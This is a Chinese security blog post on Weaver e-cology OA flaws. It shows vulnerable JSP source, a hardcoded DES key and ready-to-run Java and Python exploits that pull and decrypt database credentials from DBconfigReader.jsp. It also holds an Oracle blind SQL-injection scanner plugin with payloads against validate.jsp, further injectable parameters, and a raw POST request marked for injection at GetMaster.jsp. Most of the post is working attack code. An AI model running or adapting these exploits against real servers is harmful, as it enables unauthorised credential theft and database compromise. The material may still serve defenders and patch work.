最近关于泛微OA 的问题

发布时间:October 26, 2019 // 分类:linux,windows // No Comments

开始没有注意,早上起来才晓得这个东西。忘记前几天是哪里看到的了。看了下是mobile/DBconfigReader.jsp的问题。


<%@ page language="java" contentType="text/html; charset=UTF-8"%> <%@ page import="weaver.file.Prop" %> <%@ page import="javax.crypto.spec.DESKeySpec" %> <%@ page import="javax.crypto.*" %> <% String conStr=Prop.getPropValue("weaver","ecology.url"); String conUser=Prop.getPropValue("weaver","ecology.user"); String conPsw=Prop.getPropValue("weaver","ecology.password"); String loginType=Prop.getPropValue("weaver","authentic"); // StringBuffer sb = new StringBuffer(); // sb.append("url="+conStr+","); // sb.append("user="+conUser+","); // sb.append("password="+conPsw); String sb="url="+conStr+",user="+conUser+",password="+conPsw+",logintype="+loginType; byte[] str = sb.getBytes(); String keyString = "1z2x3c4v5b6n"; byte[] keyByte = keyString.getBytes(); // 创建一个密匙工厂,然后用它把DESKeySpec对象转换成一个SecretKey对象 DESKeySpec dks1 = new DESKeySpec(keyByte); SecretKey key = SecretKeyFactory.getInstance("DES").generateSecret(dks1); Cipher cipher = Cipher.getInstance("DES"); cipher.init(Cipher.ENCRYPT_MODE, key); byte[] cipherText = cipher.doFinal(str); //System.out.println(cipherText.length); ServletOutputStream sos = response.getOutputStream(); sos.write(cipherText); sos.flush(); sos.close(); %>

原来就是获取了内容,然后对其进行des加密处理了,默认的key是1z2x3c4v5b6n
看到有人已经写好解密的代码了

package com.test;

import org.apache.http.HttpEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import java.security.SecureRandom;

public class ReadDbConfig {
    private final static String DES = "DES";
    private final static String key = "1z2x3c4v5b6n";

    public static void main(String[] args) throws Exception {
        if(args[0]!=null&& args[0].length() !=0){
            String url = args[0]+"/mobile/DBconfigReader.jsp";
            System.out.println(ReadConfig(url));
        }else{
            System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
        }
    }

    private static String ReadConfig(String url) throws Exception {
        CloseableHttpClient httpClient = HttpClientBuilder.create().build();
        HttpGet httpGet = new HttpGet(url);
        CloseableHttpResponse response = httpClient.execute(httpGet);
        HttpEntity responseEntity = response.getEntity();

        byte[] res1 = EntityUtils.toByteArray(responseEntity);

        byte[] data = subBytes(res1,10,res1.length-10);

        byte [] finaldata =decrypt(data,key.getBytes());

        return (new String(finaldata));
    }

    private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

        SecureRandom sr = new SecureRandom();
        DESKeySpec dks = new DESKeySpec(key);
        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
        SecretKey securekey = keyFactory.generateSecret(dks);
        Cipher cipher = Cipher.getInstance(DES);
        cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

        return cipher.doFinal(data);
    }

    public static byte[] subBytes(byte[] src, int begin, int count) {
        byte[] bs = new byte[count];
        System.arraycopy(src, begin, bs, 0, count);
        return bs;
    }

}

操起python写了一个

import requests
import base64
from pyDes import *

session = requests.session()

burp0_url = "http://host/mobile/DBconfigReader.jsp"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6", "Connection": "close"}
resp = session.get(burp0_url, headers=burp0_headers)

k = des('1z2x3c4v',ECB,padmode=PAD_PKCS5)
de = k.decrypt(resp.content.replace('\r\n',''))
print de

再提一下前几天的未授权访问注入问题。文件路径ecology/cpt/manage/validate.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" %>
<%@ page import="weaver.general.Util" %>
<%@ page import="java.util.*" %>
<jsp:useBean id="rs" class="weaver.conn.RecordSet" scope="page" />
<%
String sourcestring = request.getParameter("sourcestring");
String capitalid = request.getParameter("capitalid");
if ("validateNum".equals(sourcestring)) { //校验数量不能小于冻结数量
    String capitalnum = request.getParameter("capitalnum");
    rs.executeSql("select frozennum from cptcapital where id="+capitalid);
    rs.next();
    String frozennum = rs.getString("frozennum");
    if (!"".equals(capitalnum) && Util.getDoubleValue(capitalnum, 0.0) < Util.getDoubleValue(frozennum, 0.0)) {
        out.println("" + Util.getDoubleValue(frozennum, 0.0));
    }
}

%>

传参:sourcestring=validateNum&capitalid={sqlinject}.拿起以前的某框架搞了一个

    def verify(self):
        exp_url = "{domain}/cpt/manage/validate.jsp?sourcestring=validateNum&capitalid=1 ".format(domain=self.option.url.rstrip('/'))
        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36',
                   'Referer': self.option.url
                   }
        # 利用CTXSYS.DRITHSX.SN猜解注入。仅限于oracle
        payload0 = " AND (SELECT (CASE WHEN (2080=2080) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,2080) END) FROM DUAL) IS NULL"
        payload1 = " AND (SELECT (CASE WHEN (2080>2081) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,2080) END) FROM DUAL) IS NULL"
        db_verpay = " AND (SELECT (CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,2080) END) FROM DUAL) IS NULL"
        # 1.测试SQL延迟注入
        content_len_checker = 0
        try:
            response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
            response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
            response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
            content_len = response0.status_code
            content_len_0 = response1.status_code
            content_len_1 = response2.status_code
            self.print_debug("normal "+str(content_len))
            self.print_debug("2080=2080 "+str(content_len_0))
            self.print_debug("2080>2081  "+str(content_len_1))
            if (content_len_0 == content_len_1) or ((content_len_0 >= content_len) and (content_len_1 <= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_0
        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                db_date = db_verpay.format(index=i,value=ord(payload))
                try:
                    response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                if response.status_code == content_len_checker:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.description = "目标 {url} 存在泛微e-cology cpt/manage/validate.jsp capitalid处sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url
        )

还有另外一个点在mobile/WorkflowCenterTreeData.jsp。内容精简了一下,没有做改动

String node=Util.null2String(request.getParameter("node")); 
//利用_分割node
String arrNode[]=Util.TokenizerString2(node,"_");
String type=arrNode[0];
//分割后的第二个为value
String value=arrNode[1];

String scope = Util.null2String(request.getParameter("scope"));

//执行查询scope的操作
rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='typeids' ");
if(rs.next()){
    typeids=Util.null2String(rs.getString("mc_value")); 
    typeidList=Util.TokenizerString(typeids,",");
}

rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='flowids' ");
if(rs.next()){
    flowids=Util.null2String(rs.getString("mc_value"));
    flowidList=Util.TokenizerString(flowids,",");
}

rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='nodeids' ");
if(rs.next()){
    nodeids=Util.null2String(rs.getString("mc_value")); 
    nodeidList=Util.TokenizerString(nodeids,",");
}


if ("wftype".equals(type)){
    //执行value查询的操作
    rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype="+value);

    while (rs.next()){

        JSONObject jsonWfObj=new JSONObject();  
        String wfId=Util.null2String(rs.getString("id"));
        String wfName=Util.null2String(rs.getString("workflowname"));
        jsonWfObj.put("id","wf_"+wfId);
        jsonWfObj.put("text",wfName);
        jsonWfObj.put("draggable",false);

        if(!flowidList.contains(wfId)){
            jsonWfObj.put("checked",false);    
        } else {
            jsonWfObj.put("checked",true);
            jsonWfObj.put("expanded",true);
        }
        jsonWfObj.put("leaf",true);
        jsonArrayReturn.put(jsonWfObj);
    }   
}

可能存在注入的点是value和scope,但是我没有跑出来scope的地方。在value的点倒是跑出来了

还有另外一处
mobile/plugin/GetMaster.jsp

FileUpload fu = new FileUpload(request);
String userid = Util.null2String(fu.getParameter("userid"));
String type = Util.null2String(fu.getParameter("type"));

Map result = new HashMap();

if("master".equalsIgnoreCase(type)) {
    result.put("master",0);
    RecordSet rs = new RecordSet();
    String sql = "select belongto from HrmResource where id=" + userid;
    rs.executeSql(sql);
    if (rs.next()) {
        String belongto = rs.getString("belongto");
        if (NumberUtils.toInt(belongto, -1)>0) {
            result.put("master",belongto);
        }
    }
}

采用上传的方式,实际我测试的时候发现部分不存在这个url。丢一个上传包

POST /mobile/plugin/GetMaster.jsp HTTP/1.1
Host: ecology.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPOjEdRBMPRuCbhBy
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6
Cookie: ecology_JSessionId=abcKPbFbNWJMR6bvJu03w; testBanCookie=test
Connection: close
Content-Length: 234


------WebKitFormBoundaryPOjEdRBMPRuCbhBy
Content-Disposition: form-data; name="type"

master
------WebKitFormBoundaryPOjEdRBMPRuCbhBy
Content-Disposition: form-data; name="userid"

1*
------WebKitFormBoundaryPOjEdRBMPRuCbhBy
分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...